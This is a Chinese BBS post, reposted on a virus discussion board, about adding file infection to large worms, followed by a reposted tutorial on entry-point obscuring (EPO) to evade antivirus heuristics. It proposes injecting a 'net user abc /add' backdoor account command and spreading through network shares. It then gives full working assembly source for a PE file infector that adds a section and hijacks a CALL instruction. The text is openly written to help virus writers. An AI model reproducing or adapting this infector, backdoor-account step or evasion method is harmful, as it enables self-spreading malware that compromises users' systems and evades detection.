Virus 版 (精华区)

发信人: Kernel (--->哈尔滨), 信区: Virus
标  题: 大体积蠕虫的的文件感染的解决思路(ZZ)
发信站: BBS 哈工大紫丁香站 (Thu Jul 29 14:14:40 2004)

发信人: AwakeinAlone (清影无眠), 信区: Virus
标  题: [原创]大体积蠕虫的的文件感染的解决思路
发信站: BBS 水木清华站 (Tue Dec 23 09:23:29 2003), 转信

  
   病毒感染文件可以使生命力增强,可是蠕虫就难了,不仅因为蠕虫通常用
高级语言编写,主要是因为体积庞大,这里给出一种解决方法.

大体积蠕虫的的文件感染问题,如下解决:
1. 使用EPO感染文件,空隙插入代码,只有一行
   CreateProcess("net user abc /add"...)
2. 蠕虫安一定的ip选择算法,试图用WNetAddConnection2("","abc"...)感染此ip

下面是hume的epo技术和我的一段 epo原理性的完整代码.

                                 EPO技术简介
                              by Hume/CVC.GB
  
1.什么是EPO?
 
   EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修
改PE头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。

2.为什么需要EPO?
   这要从反病毒技术的发展谈起,随着当今反病毒技术的不断提高,启发式查毒,虚拟
机执行等方法广泛被各杀毒厂商采用,这些技术通过判断程序是否具有通常的病毒特征来
发现病毒,使得传统类型病毒即使是新写的病毒也很容易被杀毒软件查出来。然而道高一
尺,魔高一丈,为了对抗启发查毒,聪明Vxer们发明了EPO技术。要想明白什么是EPO,首先看看启发查毒是如何判断程序被病毒感染的。很多杀毒软件不可能对PE文件的所有部分进行扫描,因为那样的话太耗时了,大部分只是对PE入口处的代码进行启发式检查。试想如果只是简单地修改PE的入口,则很容易被杀毒软件识别,如果可以把病毒代码隐藏代PE文件的某个中间的位置,那么要想找出病毒来势必要困难的多。EPO正是这样一种思想,通过把并入入口置于PE中某个不不显眼的位置,来减少被查杀的可能性。
    多态和变形是当今病毒的发展趋势,但是虚拟机的出现还是给多态来了很大的威胁
,为了减少被查杀的可能性,病毒应该综合采取各种手段进行自身的隐藏,而不仅仅是多
态和变形,EPO正是这些技术之一。
    我们的病毒需要EPO技术。

3.如何实现EPO?
    最早的EPO不改变PE头中入口点的值,相反,他改变了程序入口处的代码,比如改成
JMP VirStart跳转到病毒体执行,当然这样的技术在现在毫无用处,只能躲避最原始的对
代码入口是否正常的检查。因为在大多数程序中,代码段通常都不是最后一个节,而病毒
采用的很多的则是在PE最后添加新节或在最后一个节附加代码,如果杀毒软件发现入口在
最后一个节,则很可能就被感染了病毒。上述方法则通过伪装而躲过该种检测。
    当今这种EPO已经没有什么用处了。如果你准备采用EPO技术作为你的病毒防护手段
的话,请接着读下去吧。
    另外一种实现EPO的方法是在PE文件代码中的任意指令位置,将其替换成JMP VirSt
art或CALL或其他转移指令跳转到病毒体去执行。此想法是自然的,但实现上有困难,首先
,我们很难判断PE中的任意位置是否是一条指令的开始,因为这无异于要写一个反汇编器
,对于简单的病毒,代价太大了。不过这是最完美的方法,因为现在在病毒中实现反编译
引擎也是可能的,可以参考一些大型的变形病毒。
    还有一种方法就是PATCH IAT的函数,因为Win32函数是调用频率很高的。好奇和聪
明的你可能会问,为什么不直接Patch IAT中相应的函数地址呢?原因在于,PE loader加
载PE的时候会用正确的函数地址填充这些地址,你的PATCH内容就会被覆盖。
因此只能采取变通的方法,通常是查找特定的指令,比如CALL [XXX]或JMP [XXX]指令,
将XXX替换成指向病毒入口的地址。CALL DWORD PTR [XXX]和JMP DWORD PTR [XXX]通常是
跳转到真正IAT函数地址去执行的指令。当然也可以查找其他指令,比如直接段内转移CAL
L XXX指令,替换XXX地址为指向VirStart的地址。
    当然还可以搜索和替换其他指令,比如高级语言中最常用的PUSH ESP,MOV ESP,E
BP指令对代表一个函数的开始,事实上,搜索任何指令都是可以的。这过程需要一些计算
,这不是我在这篇短文中能详细介绍的了,争取在下一期的杂志中详细介绍吧。

4.问题及对策
    通过前面的说明你应该已经了解了EPO的用法和原理,对EPO已经产生了过度的乐观
情绪。现在,让我给你浇一盆冷水,看看EPO的缺陷都在那些地方以及对策。
    a.首先,搜索任意指令的方法有一定的局限。如果代码段中有数据该怎么办?很不
幸地告诉你:凉拌吧!数据中恰好有你待替换的指令机器码相同的数据,你只好认命了!

    b.其次,如果替换的指令是废代码,也就是说在程序执行过程中,几乎永远不会执
行到,那又怎么办?

    c.再次,如果因为上面原因,导致Virus设计失败,导致目标程序无法正常执行,病
毒几乎无法传播,而且由于杀死了目标程序,不但起不到EPO的作用,反而暴露了自己,又
该怎么办?
    也不要着急,任何技术总是有其优越性和缺陷的只要运用得当,还是可以起到比较好的效果,针对上面的问题a,b,c,下面是一些对策c,d,e。

    c.尽量进行附加检查,比如e8(call XXX,段内直接转移),要看一下其目的是否是
有效的代码段内的地址,如果不是,就几乎肯定是数据。其他特征的指令也要根据特点进行
检查。
    d.为了增加执行机会,最好替换对API调用的指令的地址,比如最普遍的是JMP DWO
RD PTR [XXX],因为API是经常调用的,其执行概率要大一些。另外值得一提的是很多病毒
在使用EPO时都替换对ExitProcess的调用指令,这样,病毒会在最后执行,也许有助于躲
避杀毒软件。当然全部公开的秘密就不是秘密了,同样会很快遭到封杀。

    e.加强学习,仔细思考,多做调试,减少错误。如果实在没有把握,则不用EPO,不
要让技术成为你病毒的最大缺点。

5.代码实例(PKXP)
  下面是PKXP作的一个小试验,试验EPO的应用,拿来作为示例吧:
例子下载
  1.第一个节是.text
  2.在.text中一定可以找到call xxxxxxxx.(E8 xxxxxxxx).
  3.JMP DWORD PTR [YYYYYYYY]在.text中
  4.根据找到的call xxxxxxxx计算出来的地址不会越界造成内存错误。
思路
  1.判断PE合法性和可感染性(有多余空间)
  2.添加新节,修改SizeOfImage
  3.开始EPO
     1)在.text中寻找E8 xxxxxxxx,根据xxxxxxxx获得JMP DWORD …的文件偏移。
     2)计算跳转到VStart的相对距离,覆盖xxxxxxxx。
     3)拷贝JMP DWORD PTR [YYYYYYYY]中的YYYYYYYY到病毒体内。
  4.写入病毒代码,弹出对话框后,执行JMP DWORD PTR [YYYYYYYY]
特点
  EPO部分只有30行,极适合初学EPO者.
.386
.model  flat, stdcall
option  casemap:none
include useful.inc
PEGame SEGMENT
start:
        @pushsz 'e:\test\m.exe'
        call    InfectFile
        Invoke  MessageBox,0,0,0,0   ;用来装载User32,后面用
        ret
InfectFile PROC FileName : DWORD
       LOCAL   hFile    : DWORD
       LOCAL   hMapping : DWORD
       LOCAL   pMapping : DWORD
       LOCAL   ByteWrite: DWORD
       pushad
       push   NULL
       push   FILE_ATTRIBUTE_NORMAL
       push   OPEN_EXISTING
       push   NULL
       push   FILE_SHARE_READ+FILE_SHARE_WRITE
       push   GENERIC_READ+GENERIC_WRITE
       push   FileName
       call   CreateFile
       cmp    eax,INVALID_HANDLE_value
       jz     IF_Exit
       mov    hFile,eax
       xor    edi , edi         ;节约空间
       push   edi
       push   edi
       push   edi
       push   PAGE_READWRITE
       push   edi
       push   hFile
       call   CreateFileMapping
       or     eax,eax
       jz     IF_F3
       mov    hMapping , eax
       push   edi              ;edi=0
       push   edi
       push   edi
       push   FILE_MAP_READ+FILE_MAP_WRITE
       push   hMapping
       call   MapViewOfFile
       or     eax,eax
       jz     IF_F2
       mov    pMapping,eax
       mov    esi,eax
       assume esi:ptr IMAGE_DOS_HEADER
       cmp    [esi].e_magic,IMAGE_DOS_SIGNATURE
       jnz    IF_F1
       cmp    [esi].e_lfarlc,040h
       jnz    IF_F1
       add    esi,[esi].e_lfanew
       assume esi:ptr IMAGE_NT_HEADERS
       cmp    [esi].Signature,IMAGE_NT_SIGNATURE    ;是PE文件吗?
       jnz    IF_F1
       cmp    [esi].OptionalHeader.Subsystem,2
       jnz    IF_F1
       cmp    [esi].OptionalHeader.CheckSum,0 ;避免感染!0的文件
       jnz    IF_F1                    ;合法性判断完毕,开始感染
       cmp    word ptr [esi+1ah],0815h ;设置感染标志
       jz     IF_F1
       mov  eax,[esi].OptionalHeader.AddressOfEntryPoint
       add  eax,[esi].OptionalHeader.ImageBase
       mov  HostEntry,eax                    ;保存原入口
       movzx  eax,[esi].FileHeader.NumberOfSections
       mov    ecx,sizeof IMAGE_SECTION_HEADER
       mul    ecx
       add    eax,sizeof IMAGE_NT_HEADERS
       add    eax,esi
       mov    edi,eax
       add    eax,sizeof IMAGE_SECTION_HEADER
       sub    eax,pMapping
       cmp    eax,[esi].OptionalHeader.SizeOfHeaders
       ja     IF_F1
;*****************************************
;空间允许, ^0^,edi指向新节
;*****************************************
       inc    [esi].FileHeader.NumberOfSections
       assume edi:ptr IMAGE_SECTION_HEADER
       mov    dword ptr[edi],'cvc.'         ;Name
       push   VEnd-VStart
       pop    [edi].Misc.VirtualSize        ;VirtualSize
       push   [esi].OptionalHeader.SizeOfImage
       pop    [edi].VirtualAddress         ;VirtualAddress
       mov    eax,[edi].Misc.VirtualSize
       mov    ecx,[esi].OptionalHeader.FileAlignment
       div    ecx
       inc    eax
       mul    ecx
       mov    [edi].SizeOfRawData,eax        ;SizeOfRawData
       lea    eax,[edi-28h+14h]              ;prev PointerToRawData
       mov    eax,[eax]
       lea    ecx,[edi-28h+10h]              ;prev SizeOfRawData
       add    eax,[ecx]
       mov    [edi].PointerToRawData,eax     ;PointerToRawData
       mov    [edi].Characteristics,0E0000020h  ;可读可写可执行
;***************************************************************
;更新SizeOfImage,使新节可以正确加载并首先执行
;***************************************************************
       mov   eax,[edi].Misc.VirtualSize
       mov   ecx,[esi].OptionalHeader.SectionAlignment
       div   ecx
       inc   eax
       mul   ecx
       add   eax,[esi].OptionalHeader.SizeOfImage
       mov   [esi].OptionalHeader.SizeOfImage,eax
       mov   word ptr [esi+1ah],0815h   ;写入感染标志
       push   pMapping              ;文件内存映像首地址
       push   esi                    ;esi -> IMAGE_NT_HEADER
       push   edi                    ; edi -> new Section
       call    SimpleEPO
       @pushsz  'User32.dll'
       call     GetModuleHandle
       @pushsz  'MessageBoxA'
       push     eax
       call     GetProcAddress
       mov      MsgBox,eax          ;得到MessageBoxA的线形地址
       push     FILE_BEGIN
       push     0
       push     [edi].PointerToRawData
       push     hFile
       call     SetFilePointer
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
       push    0
       lea     eax,ByteWrite
       push    eax
       push    [edi].SizeOfRawData
       push    offset VStart
       push    hFile
       call    WriteFile
IF_F1:
      push    pMapping
      call    UnmapViewOfFile
IF_F2:
      push    hMapping
      call    CloseHandle
IF_F3:
      push    hFile
      call    CloseHandle
IF_Exit:
      popad
      ret  4
InfectFile ENDP
;---------------------------------StartEPO------------------------------
;入口参数: pNewSection  :  新添加节(病毒节)的指针
;           pNTHeader   :  文件IMAGE_NT_HEADER的指针
;           pMapping    :  文件指针
;出口参数: 修改了文件.text节的第一条CALL  XXXXXXXX 指令,跳转到VStart.
;拷贝JMP DWORD PTR [YYYYYYYY]中的YY…到Ret2ApiCall.
;--------------------------------------------------------------------------
SimpleEPO   PROC   pNewSection : DWORD ,pNTHeader : DWORD , pMapping : DWORD

        pushad
        mov       edx , pNTHeader
        add       edx , sizeof  IMAGE_NT_HEADERS
        assume    edx : ptr IMAGE_SECTION_HEADER
        mov       ecx , [edx].SizeOfRawData
        mov       edi , [edx].PointerToRawData
        add       edi ,  pMapping       ;Now edi = .text  的在文件中的偏移
@SearchE8:
         mov      al  , 0e8h
         repne    scasb                ;search for call xxxxxxxx
         mov      esi , edi            ;edi - > xxxxxxxx 而不是 e8 xx xx xx 
xx.
         lodsd                         ;search call relative
         add      esi , eax            ;esi - > JMP DWORD PTR [YYYYYYYY]
         lodsw
         cmp      ax , 025ffh          ;esi - > YYYYYYYY
         jnz      @SearchE8
PatchCALLandCopyJMP:
         mov      eax , [edx].VirtualAddress   ;.text VirtualAddress
         add      eax , edi
         sub      eax , pMapping
         sub  eax , [edx].PointerToRawData ;eax contains VA of CALL XXXXXXXX

         add      eax , 4               ;sizeof(CALL xxxxxxxx) – sizeof(0E8
h)
         mov      edx , pNewSection
         mov      edx , [edx].VirtualAddress
         xchg     eax , edx
         sub      eax , edx                ;get  new XXXXXXXX
         stosd
         mov     edi , offset Ret2ApiCall    ;write YYYYYYYY
         lodsd
         stosd
         popad
         ret     12
SimpleEPO ENDP
;***************************************************************
;从VStart->VEnd是将插入到e:\test\m.exe的代码
;功能是弹出一个对话框,然后返回原入口执行
;***************************************************************
VStart:
      pushad
      call  gdelta
gdelta:
      pop   ebp
      sub   ebp,offset gdelta
      lea   eax, [ebp+offset s]
      push  0
      push  eax
      push  eax
      push  0
      mov   eax,12345678h
MsgBox  =    dword ptr $-4
      call  eax
      popad
      db      0FFh,25h
Ret2ApiCAll:
      dd    0    ; [zzzzzzzz]
s      db    'hi',0
VEnd:
EPOGame ends
end    start


※ 修改:·Kernel 於 Jul 29 14:18:06 2004 修改本文·[FROM: 218.75.124.146]
※ 来源:·哈工大紫丁香 http://bbs.hit.edu.cn·[FROM: 218.75.124.146]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:202.625毫秒